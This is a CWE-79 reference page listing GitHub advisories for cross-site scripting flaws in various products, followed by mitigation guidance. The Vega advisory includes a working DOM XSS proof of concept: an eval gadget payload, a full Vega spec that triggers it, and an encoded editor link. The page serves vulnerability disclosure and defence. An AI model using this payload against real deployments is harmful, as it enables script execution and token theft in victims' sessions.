CWE-79
AllowedImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Abstraction: Base · Status: Stable
The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.
68644 vulnerabilities reference this CWE, most recent first.
GHSA-7F2C-8J3G-587G
Vulnerability from github – Published: 2023-06-30 18:31 – Updated: 2024-04-04 05:19An issue was discovered in the DoubleWiki extension for MediaWiki through 1.39.3. includes/DoubleWiki.php allows XSS via the column alignment feature.
{
"affected": [],
"aliases": [
"CVE-2023-37304"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-06-30T17:15:09Z",
"severity": "MODERATE"
},
"details": "An issue was discovered in the DoubleWiki extension for MediaWiki through 1.39.3. includes/DoubleWiki.php allows XSS via the column alignment feature.",
"id": "GHSA-7f2c-8j3g-587g",
"modified": "2024-04-04T05:19:02Z",
"published": "2023-06-30T18:31:02Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-37304"
},
{
"type": "WEB",
"url": "https://gerrit.wikimedia.org/r/c/mediawiki/extensions/DoubleWiki/+/932825"
},
{
"type": "WEB",
"url": "https://phabricator.wikimedia.org/T323651"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-7F2F-CRXG-CPFV
Vulnerability from github – Published: 2022-05-14 03:38 – Updated: 2023-07-25 21:02Tiki 17.1 allows upload of a .PNG file that actually has SVG content, leading to XSS.
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "tikiwiki/tiki-manager"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "17.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2018-7302"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": true,
"github_reviewed_at": "2023-07-25T21:02:47Z",
"nvd_published_at": "2018-02-21T20:29:00Z",
"severity": "MODERATE"
},
"details": "Tiki 17.1 allows upload of a .PNG file that actually has SVG content, leading to XSS.",
"id": "GHSA-7f2f-crxg-cpfv",
"modified": "2023-07-25T21:02:47Z",
"published": "2022-05-14T03:38:59Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-7302"
},
{
"type": "PACKAGE",
"url": "https://github.com/TikiWiki/tiki-manager"
},
{
"type": "WEB",
"url": "https://websecnerd.blogspot.in/2018/01/tiki-wiki-cms-groupware-17.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "Tiki Wiki CMS XSS Vulnerability"
}
GHSA-7F2G-X52V-XMR6
Vulnerability from github – Published: 2022-05-24 17:45 – Updated: 2022-05-24 17:45On all 7.x and 6.x versions (fixed in 8.0.0), undisclosed BIG-IQ pages have a reflected cross-site scripting vulnerability. Note: Software versions which have reached End of Software Development (EoSD) are not evaluated.
{
"affected": [],
"aliases": [
"CVE-2021-23006"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-03-31T18:15:00Z",
"severity": "MODERATE"
},
"details": "On all 7.x and 6.x versions (fixed in 8.0.0), undisclosed BIG-IQ pages have a reflected cross-site scripting vulnerability. Note: Software versions which have reached End of Software Development (EoSD) are not evaluated.",
"id": "GHSA-7f2g-x52v-xmr6",
"modified": "2022-05-24T17:45:59Z",
"published": "2022-05-24T17:45:58Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-23006"
},
{
"type": "WEB",
"url": "https://support.f5.com/csp/article/K30585021"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-7F2V-3QQ3-VVJF
Vulnerability from github – Published: 2025-11-13 22:32 – Updated: 2025-11-14 16:05Impact
Applications meeting 2 conditions are at risk of arbitrary JavaScript code execution, even if "safe mode" expressionInterpreter is used.
- Use
vegain an application that attachesvegalibrary and avega.Viewinstance similar to the Vega Editor to the globalwindow - Allow user-defined Vega
JSONdefinitions (vs JSON that was is only provided through source code)
Patches
- If using latest Vega line (6.x)
vega6.2.0/vega-expression6.1.0/vega-interpreter2.2.1(if using AST evaluator mode)- If using Vega in a non-ESM environment
- (
vega-expression5.2.1/1.2.1(if using AST evaluator mode)
Workarounds
Is there a way for users to fix or remediate the vulnerability without upgrading
- Do not attach
vegaView instances to global variables, as Vega editor used to do here - Do not attach
vegato the global window as the editor used to do here
These practices of attaching the vega library and View instances may be convenient for debugging, but should not be used in production or in any situation where vega/vega-lite definitions could be provided by untrusted parties.
POC Summary
Vega offers the evaluation of expressions in a secure context. Arbitrary function call is prohibited. When an event is exposed to an expression, member get of window objects is possible. Because of this exposure, in some applications, a crafted object that overrides its toString method with a function that results in calling this.foo(this.bar), DOM XSS can be achieved.
In practice, an accessible gadget like this exists in the global VEGA_DEBUG code.
({
toString: event.view.VEGA_DEBUG.vega.CanvasHandler.prototype.on,
eventName: event.view.console.log,
_handlers: {
undefined: 'alert(origin + ` XSS on version `+ VEGA_DEBUG.VEGA_VERSION)'
},
_handlerIndex: event.view.eval
})+1
POC Details
{
"$schema": "https://vega.github.io/schema/vega/v5.json",
"width": 350,
"height": 350,
"autosize": "none",
"description": "Toggle Button",
"signals": [
{
"name": "toggle",
"value": true,
"on": [
{
"events": {"type": "click", "markname": "circle"},
"update": "toggle ? false : true"
}
]
},
{
"name": "addFilter",
"on": [
{
"events": {"type": "mousemove", "source": "window"},
"update": "({toString:event.view.VEGA_DEBUG.vega.CanvasHandler.prototype.on, eventName:event.view.console.log,_handlers:{undefined:'alert(origin + ` XSS on version `+ VEGA_DEBUG.VEGA_VERSION)'},_handlerIndex:event.view.eval})+1"
}
]
}
]
}
This payload creates a scenario where whenever the mouse is moved, the toString function of the provided object is implicitly called when trying to resolve adding it with 1. The toString function has been overridden to a "gadget function" (VEGA_DEBUG.vega.CanvasHandler.prototype.on) that does the following:
on(a, o) {
const u = this.eventName(a)
, d = this._handlers;
if (this._handlerIndex(d[u], a, o) < 0) {
....
}
....
}
- Set
uto the result of callingthis.eventNamewith undefined- For our object, we have the eventName value set to console.log, which just logs undefined and returns undefined
- Sets
dtothis._handlers- For our object, we have this defined to be used later
- Calls
this._handlerIndexwith the result ofuindexed into thedobject as the first argument, and undefined as the second two.- For our object,
_handlerIndexis set to window.eval, and when indexing undefined into the_handlers, a string to be evald containing the XSS payload is returned.
- For our object,
This results in XSS by using a globally scoped gadget to get full blown eval.
PoC Link
Navigate to vega editor, move the mouse, and observe that the arbitrary JavaScript from the configuration reaches the eval sink and DOM XSS is achieved.
Future investigation
In cases where VEGA_DEBUG is not enabled, there theoreticallycould be other gadgets on the global scope that allow for similar behavior. In cases where AST evaluator is used and there are blocks against getting references to eval, in theory there could be other gadgets on global scope (i.e. jQuery) that would allow for eval the same way (i.e. $.globalEval). As of this writing, no such globally scoped gadgets have been found.
Impact
This vulnerability allows for DOM XSS, potentially stored, potentially reflected, depending on how the library is being used. The vulnerability requires user interaction with the page to trigger.
An attacker can exploit this issue by tricking a user into opening a malicious Vega specification. Successful exploitation allows the attacker to execute arbitrary JavaScript in the context of the application’s domain. This can lead to theft of sensitive information such as authentication tokens, manipulation of data displayed to the user, or execution of unauthorized actions on behalf of the victim. This exploit compromises confidentiality and integrity of impacted applications.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "vega"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "6.2.0"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "vega-expression"
},
"ranges": [
{
"events": [
{
"introduced": "6.0.0"
},
{
"fixed": "6.1.0"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "vega-interpreter"
},
"ranges": [
{
"events": [
{
"introduced": "2.0.0"
},
{
"fixed": "2.2.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "vega-interpreter"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.2.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "vega-expression"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "5.2.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-59840"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": true,
"github_reviewed_at": "2025-11-13T22:32:35Z",
"nvd_published_at": "2025-11-13T20:15:51Z",
"severity": "HIGH"
},
"details": "## Impact\n\nApplications meeting 2 conditions are at risk of arbitrary JavaScript code execution, even if \"safe mode\" [expressionInterpreter](https://vega.github.io/vega/usage/interpreter/) is used. \n\n1. Use `vega` in an application that attaches `vega` library and a `vega.View` instance similar to the Vega [Editor](https://github.com/vega/editor) to the global `window`\n2. Allow user-defined Vega `JSON` definitions (vs JSON that was is only provided through source code)\n\n## Patches\n\n- If using latest Vega line (6.x)\n - `vega` `6.2.0` / `vega-expression` `6.1.0` / `vega-interpreter` `2.2.1` (if using AST evaluator mode)\n- If using Vega in a non-ESM environment\n - ( `vega-expression` `5.2.1` / `1.2.1` (if using AST evaluator mode)\n\n## Workarounds\n\n_Is there a way for users to fix or remediate the vulnerability without upgrading_\n\n- Do not attach `vega` View instances to global variables, as Vega editor used to do [here](https://github.com/vega/editor/blob/e102355589d23cdd0dbfd607a2cc5f9c5b7a4c55/src/components/renderer/renderer.tsx#L239)\n- Do not attach `vega` to the global window as the editor used to do [here](https://github.com/vega/editor/blob/e102355589d23cdd0dbfd607a2cc5f9c5b7a4c55/src/index.tsx#L14-L16)\n\nThese practices of attaching the vega library and View instances may be convenient for debugging, but should _not_ be used in production or in any situation where vega/vega-lite definitions could be provided by untrusted parties.\n\n### POC Summary\n\nVega offers the evaluation of expressions in a secure context. Arbitrary function call is prohibited. When an event is exposed to an expression, member get of window objects is possible. Because of this exposure, in some applications, a crafted object that overrides its toString method with a function that results in calling `this.foo(this.bar)`, DOM XSS can be achieved. \n\nIn practice, an accessible gadget like this exists in the global VEGA_DEBUG code. \n\n```js\n({\n toString: event.view.VEGA_DEBUG.vega.CanvasHandler.prototype.on, \n eventName: event.view.console.log,\n _handlers: {\n undefined: \u0027alert(origin + ` XSS on version `+ VEGA_DEBUG.VEGA_VERSION)\u0027\n },\n _handlerIndex: event.view.eval\n})+1\n```\n\n### POC Details\n```json\n{\n \"$schema\": \"https://vega.github.io/schema/vega/v5.json\",\n \"width\": 350,\n \"height\": 350,\n \"autosize\": \"none\",\n \"description\": \"Toggle Button\",\n \"signals\": [\n {\n \"name\": \"toggle\",\n \"value\": true,\n \"on\": [\n {\n \"events\": {\"type\": \"click\", \"markname\": \"circle\"},\n \"update\": \"toggle ? false : true\"\n }\n ]\n },\n {\n \"name\": \"addFilter\",\n \"on\": [\n {\n \"events\": {\"type\": \"mousemove\", \"source\": \"window\"},\n \"update\": \"({toString:event.view.VEGA_DEBUG.vega.CanvasHandler.prototype.on, eventName:event.view.console.log,_handlers:{undefined:\u0027alert(origin + ` XSS on version `+ VEGA_DEBUG.VEGA_VERSION)\u0027},_handlerIndex:event.view.eval})+1\"\n }\n\n ]\n }\n ]\n}\n```\n\nThis payload creates a scenario where whenever the mouse is moved, the toString function of the provided object is implicitly called when trying to resolve adding it with 1. The toString function has been overridden to a \"gadget function\" (VEGA_DEBUG.vega.CanvasHandler.prototype.on) that does the following:\n\n```js\n on(a, o) {\n const u = this.eventName(a)\n , d = this._handlers;\n if (this._handlerIndex(d[u], a, o) \u003c 0) {\n ....\n }\n ....\n }\n```\n\n1. Set `u` to the result of calling `this.eventName` with undefined \n - For our object, we have the eventName value set to console.log, which just logs undefined and returns undefined\n3. Sets `d` to `this._handlers`\n - For our object, we have this defined to be used later\n4. Calls `this._handlerIndex` with the result of `u` indexed into the `d` object as the first argument, and undefined as the second two.\n - For our object, `_handlerIndex` is set to window.eval, and when indexing undefined into the `_handlers`, a string to be evald containing the XSS payload is returned.\n \nThis results in XSS by using a globally scoped gadget to get full blown eval. \n\n\n### PoC Link\n\nNavigate [to vega editor](https://vega.github.io/editor/#/url/vega/N4IgJAzgxgFgpgWwIYgFwhgF0wBwqgegIDc4BzJAOjIEtMYBXAI0poHsDp5kTykSArJQBWENgDsQAGhAB3GgBN6aAMwCADDPg0yWVRplIGmNhBoAvOGhDiJVmQrjQATjRyZ2k9ABU2ZMgA2cAAEAELGJpIyZmTiSAEQaADaoHEIVugm-kHSIMTxDBmYzoUyEsmgcKTimImooJgAnjgZIFABNFAA1rnIzl1prVA0zu1WAL4yDDgKSJitWYEhAPzBAGbxECGowcWFIOMAupOpSOnWSAoKAGI0AfPOueWoKSBVcDV1Dc2tCGwMWz+pFyYgYo1a8nECjYsgOUxmc1aAApgCYAMrFGjiMiod41SjEGhwWSUABqAFEAOIAQQA+gARcmhACqlIJfEoAGEkOJ8hAABI8hRBZyUHDONgmJotSgSKTBPGYAByZzguOqmAJRJJUAkYiClACfiktJgQpF+GADChcDWWLgClQAHJ4nBnJgkWxXLRxMEANTBAAGwQAGmi0cEJMFSM4zFHAwGKTSGUzWWSqXSKQAlNEASQA8kqAJROyam81u3M2gAe6o+msJxMoVXi4yLfoAjAdjscgA), move the mouse, and observe that the arbitrary JavaScript from the configuration reaches the eval sink and DOM XSS is achieved.\n\n### Future investigation\n\nIn cases where `VEGA_DEBUG` is not enabled, there theoreticallycould be other gadgets on the global scope that allow for similar behavior. In cases where AST evaluator is used and there are blocks against getting references to `eval`, in theory there could be other gadgets on global scope (i.e. jQuery) that would allow for eval the same way (i.e. `$.globalEval`). As of this writing, no such globally scoped gadgets have been found. \n\n### Impact\n\nThis vulnerability allows for DOM XSS, potentially stored, potentially reflected, depending on how the library is being used. The vulnerability requires user interaction with the page to trigger. \n\nAn attacker can exploit this issue by tricking a user into opening a malicious Vega specification. Successful exploitation allows the attacker to execute arbitrary JavaScript in the context of the application\u2019s domain. This can lead to theft of sensitive information such as authentication tokens, manipulation of data displayed to the user, or execution of unauthorized actions on behalf of the victim. This exploit compromises confidentiality and integrity of impacted applications.",
"id": "GHSA-7f2v-3qq3-vvjf",
"modified": "2025-11-14T16:05:41Z",
"published": "2025-11-13T22:32:35Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/vega/vega/security/advisories/GHSA-7f2v-3qq3-vvjf"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-59840"
},
{
"type": "WEB",
"url": "https://github.com/vega/editor/blob/e102355589d23cdd0dbfd607a2cc5f9c5b7a4c55/src/components/renderer/renderer.tsx#L239"
},
{
"type": "WEB",
"url": "https://github.com/vega/editor/blob/e102355589d23cdd0dbfd607a2cc5f9c5b7a4c55/src/index.tsx#L14-L16"
},
{
"type": "PACKAGE",
"url": "https://github.com/vega/vega"
},
{
"type": "WEB",
"url": "https://vega.github.io/editor/#/url/vega/N4IgJAzgxgFgpgWwIYgFwhgF0wBwqgegIDc4BzJAOjIEtMYBXAI0poHsDp5kTykSArJQBWENgDsQAGhAB3GgBN6aAMwCADDPg0yWVRplIGmNhBoAvOGhDiJVmQrjQATjRyZ2k9ABU2ZMgA2cAAEAELGJpIyZmTiSAEQaADaoHEIVugm-kHSIMTxDBmYzoUyEsmgcKTimImooJgAnjgZIFABNFAA1rnIzl1prVA0zu1WAL4yDDgKSJitWYEhAPzBAGbxECGowcWFIOMAupOpSOnWSAoKAGI0AfPOueWoKSBVcDV1Dc2tCGwMWz+pFyYgYo1a8nECjYsgOUxmc1aAApgCYAMrFGjiMiod41SjEGhwWSUABqAFEAOIAQQA+gARcmhACqlIJfEoAGEkOJ8hAABI8hRBZyUHDONgmJotSgSKTBPGYAByZzguOqmAJRJJUAkYiClACfiktJgQpF+GADChcDWWLgClQAHJ4nBnJgkWxXLRxMEANTBAAGwQAGmi0cEJMFSM4zFHAwGKTSGUzWWSqXSKQAlNEASQA8kqAJROyam81u3M2gAe6o+msJxMoVXi4yLfoAjAdjscgA"
},
{
"type": "WEB",
"url": "https://vega.github.io/vega/usage/interpreter"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "Vega Cross-Site Scripting (XSS) via expressions abusing toString calls in environments using the VEGA_DEBUG global variable"
}
GHSA-7F2V-X3JW-5W6G
Vulnerability from github – Published: 2026-08-12 21:31 – Updated: 2026-08-12 21:31Draft List is a WordPress plugin to manage and promote unpublished content. Versions 2.6.3 and below are vulnerable to stored Cross-Site Scripting (XSS) in the [drafts] shortcode and Draft List widget when the documented custom template option places the {{draft}} placeholder inside an HTML attribute. The vulnerable code inserts the raw draft post_title into {{draft}} when the current viewer cannot edit posts. Because the template is sanitized before {{draft}} replacement, a Contributor can store a quote-only title payload that breaks out of an attribute in a site-configured Draft List template and executes JavaScript for visitors who load the public page. Version 2.6.4 fixes the issue.
{
"affected": [],
"aliases": [
"CVE-2026-49466"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-08-12T20:17:44Z",
"severity": "MODERATE"
},
"details": "Draft List is a WordPress plugin to manage and promote unpublished content. Versions 2.6.3 and below are vulnerable to stored Cross-Site Scripting (XSS) in the `[drafts]` shortcode and Draft List widget when the documented custom `template` option places the `{{draft}}` placeholder inside an HTML attribute. The vulnerable code inserts the raw draft `post_title` into `{{draft}}` when the current viewer cannot edit posts. Because the template is sanitized before `{{draft}}` replacement, a Contributor can store a quote-only title payload that breaks out of an attribute in a site-configured Draft List template and executes JavaScript for visitors who load the public page. Version 2.6.4 fixes the issue.",
"id": "GHSA-7f2v-x3jw-5w6g",
"modified": "2026-08-12T21:31:40Z",
"published": "2026-08-12T21:31:40Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/dartiss/draft-list/security/advisories/GHSA-xxx9-hfqp-f83f"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-49466"
},
{
"type": "WEB",
"url": "https://github.com/dartiss/draft-list/compare/2.6.3...2.6.4"
},
{
"type": "WEB",
"url": "https://github.com/dartiss/draft-list/releases/tag/2.6.4"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-7F34-MHWX-WFG2
Vulnerability from github – Published: 2024-03-13 12:31 – Updated: 2024-03-13 12:31IBM Maximo Application Suite 7.6.1.3 is vulnerable to stored cross-site scripting. This vulnerability allows users to embed arbitrary JavaScript code in the Web UI thus altering the intended functionality potentially leading to credentials disclosure within a trusted session. IBM X-Force ID: 262192.
{
"affected": [],
"aliases": [
"CVE-2023-38723"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-03-13T10:15:07Z",
"severity": "MODERATE"
},
"details": "IBM Maximo Application Suite 7.6.1.3 is vulnerable to stored cross-site scripting. This vulnerability allows users to embed arbitrary JavaScript code in the Web UI thus altering the intended functionality potentially leading to credentials disclosure within a trusted session. IBM X-Force ID: 262192.",
"id": "GHSA-7f34-mhwx-wfg2",
"modified": "2024-03-13T12:31:06Z",
"published": "2024-03-13T12:31:06Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-38723"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/262192"
},
{
"type": "WEB",
"url": "https://www.ibm.com/support/pages/node/7139010"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-7F37-WQ58-X6QP
Vulnerability from github – Published: 2022-05-17 03:41 – Updated: 2022-05-17 03:41Cross-site scripting (XSS) vulnerability in Huawei Policy Center before V100R003C10SPC020 allows remote authenticated users to inject arbitrary web script or HTML via vectors related to "special characters on pages."
{
"affected": [],
"aliases": [
"CVE-2016-4058"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2016-09-27T15:59:00Z",
"severity": "MODERATE"
},
"details": "Cross-site scripting (XSS) vulnerability in Huawei Policy Center before V100R003C10SPC020 allows remote authenticated users to inject arbitrary web script or HTML via vectors related to \"special characters on pages.\"",
"id": "GHSA-7f37-wq58-x6qp",
"modified": "2022-05-17T03:41:29Z",
"published": "2022-05-17T03:41:29Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2016-4058"
},
{
"type": "WEB",
"url": "http://www.huawei.com/en/psirt/security-advisories/huawei-sa-20160419-01-policycenter-en"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/86546"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-7F3C-8333-69P4
Vulnerability from github – Published: 2022-06-09 00:00 – Updated: 2022-06-15 00:00The WPQA Builder WordPress plugin before 5.4, used as a companion for the Discy and Himer , does not sanitise and escape a parameter on its reset password form which makes it possible to perform Reflected Cross-Site Scripting attacks
{
"affected": [],
"aliases": [
"CVE-2022-1597"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-06-08T10:15:00Z",
"severity": "MODERATE"
},
"details": "The WPQA Builder WordPress plugin before 5.4, used as a companion for the Discy and Himer , does not sanitise and escape a parameter on its reset password form which makes it possible to perform Reflected Cross-Site Scripting attacks",
"id": "GHSA-7f3c-8333-69p4",
"modified": "2022-06-15T00:00:21Z",
"published": "2022-06-09T00:00:28Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-1597"
},
{
"type": "WEB",
"url": "https://wpscan.com/vulnerability/faff9484-9fc7-4300-bdad-9cd8a30a9a4e"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-7F3M-28F6-G433
Vulnerability from github – Published: 2024-10-17 21:31 – Updated: 2026-04-28 21:35Improper Neutralization of Input During Web Page Generation (XSS or 'Cross-site Scripting') vulnerability in Weblizar Lightbox slider – Responsive Lightbox Gallery allows Stored XSS.This issue affects Lightbox slider – Responsive Lightbox Gallery: from n/a through 1.10.0.
{
"affected": [],
"aliases": [
"CVE-2024-49280"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-10-17T20:15:11Z",
"severity": "MODERATE"
},
"details": "Improper Neutralization of Input During Web Page Generation (XSS or \u0027Cross-site Scripting\u0027) vulnerability in Weblizar Lightbox slider \u2013 Responsive Lightbox Gallery allows Stored XSS.This issue affects Lightbox slider \u2013 Responsive Lightbox Gallery: from n/a through 1.10.0.",
"id": "GHSA-7f3m-28f6-g433",
"modified": "2026-04-28T21:35:12Z",
"published": "2024-10-17T21:31:32Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-49280"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/Wordpress/Plugin/simple-lightbox-gallery/vulnerability/wordpress-lightbox-slider-responsive-lightbox-gallery-plugin-1-10-0-cross-site-scripting-xss-vulnerability?_s_id=cve"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/vulnerability/simple-lightbox-gallery/wordpress-lightbox-slider-responsive-lightbox-gallery-plugin-1-10-0-cross-site-scripting-xss-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-7F3R-H2MP-3F5V
Vulnerability from github – Published: 2023-05-31 21:31 – Updated: 2024-04-04 04:26Cross Site Scripting (XSS) in the New Policy form in Microworld Technologies eScan management console 14.0.1400.2281 allows a remote attacker to inject arbitrary code via the vulnerable parameters type, txtPolicyType, and Deletefileval.
{
"affected": [],
"aliases": [
"CVE-2023-33732"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-05-31T20:15:10Z",
"severity": "MODERATE"
},
"details": "Cross Site Scripting (XSS) in the New Policy form in Microworld Technologies eScan management console 14.0.1400.2281 allows a remote attacker to inject arbitrary code via the vulnerable parameters type, txtPolicyType, and Deletefileval.",
"id": "GHSA-7f3r-h2mp-3f5v",
"modified": "2024-04-04T04:26:42Z",
"published": "2023-05-31T21:31:10Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-33732"
},
{
"type": "WEB",
"url": "https://github.com/sahiloj/CVE-2023-33733/blob/main/CVE-2023-33733.md"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
Mitigation MIT-4
Strategy: Libraries or Frameworks
- Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482].
- Examples of libraries and frameworks that make it easier to generate properly encoded output include Microsoft's Anti-XSS library, the OWASP ESAPI Encoding module, and Apache Wicket.
Mitigation
- Understand the context in which your data will be used and the encoding that will be expected. This is especially important when transmitting data between different components, or when generating outputs that can contain multiple encodings at the same time, such as web pages or multi-part mail messages. Study all expected communication protocols and data representations to determine the required encoding strategies.
- For any data that will be output to another web page, especially any data that was received from external inputs, use the appropriate encoding on all non-alphanumeric characters.
- Parts of the same output document may require different encodings, which will vary depending on whether the output is in the:
- etc. Note that HTML Entity Encoding is only appropriate for the HTML body.
- Consult the XSS Prevention Cheat Sheet [REF-724] for more details on the types of encoding and escaping that are needed.
- HTML body
- Element attributes (such as src="XYZ")
- URIs
- JavaScript sections
- Cascading Style Sheets and style property
Mitigation MIT-6
Strategy: Attack Surface Reduction
Understand all the potential areas where untrusted inputs can enter your software: parameters or arguments, cookies, anything read from the network, environment variables, reverse DNS lookups, query results, request headers, URL components, e-mail, files, filenames, databases, and any external systems that provide data to the application. Remember that such inputs may be obtained indirectly through API calls.
Mitigation MIT-15
For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Mitigation MIT-27
Strategy: Parameterization
If available, use structured mechanisms that automatically enforce the separation between data and code. These mechanisms may be able to provide the relevant quoting, encoding, and validation automatically, instead of relying on the developer to provide this capability at every point where output is generated.
Mitigation MIT-30.1
Strategy: Output Encoding
- Use and specify an output encoding that can be handled by the downstream component that is reading the output. Common encodings include ISO-8859-1, UTF-7, and UTF-8. When an encoding is not specified, a downstream component may choose a different encoding, either by assuming a default encoding or automatically inferring which encoding is being used, which can be erroneous. When the encodings are inconsistent, the downstream component might treat some character or byte sequences as special, even if they are not special in the original encoding. Attackers might then be able to exploit this discrepancy and conduct injection attacks; they even might be able to bypass protection mechanisms that assume the original encoding is also being used by the downstream component.
- The problem of inconsistent output encodings often arises in web pages. If an encoding is not specified in an HTTP header, web browsers often guess about which encoding is being used. This can open up the browser to subtle XSS attacks.
Mitigation MIT-43
With Struts, write all data from form beans with the bean's filter attribute set to true.
Mitigation MIT-31
Strategy: Attack Surface Reduction
To help mitigate XSS attacks against the user's session cookie, set the session cookie to be HttpOnly. In browsers that support the HttpOnly feature (such as more recent versions of Internet Explorer and Firefox), this attribute can prevent the user's session cookie from being accessible to malicious client-side scripts that use document.cookie. This is not a complete solution, since HttpOnly is not supported by all browsers. More importantly, XmlHttpRequest and other powerful browser technologies provide read access to HTTP headers, including the Set-Cookie header in which the HttpOnly flag is set.
Mitigation MIT-5
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
- When dynamically constructing web pages, use stringent allowlists that limit the character set based on the expected value of the parameter in the request. All input should be validated and cleansed, not just parameters that the user is supposed to specify, but all data in the request, including hidden fields, cookies, headers, the URL itself, and so forth. A common mistake that leads to continuing XSS vulnerabilities is to validate only fields that are expected to be redisplayed by the site. It is common to see data from the request that is reflected by the application server or the application that the development team did not anticipate. Also, a field that is not currently reflected may be used by a future developer. Therefore, validating ALL parts of the HTTP request is recommended.
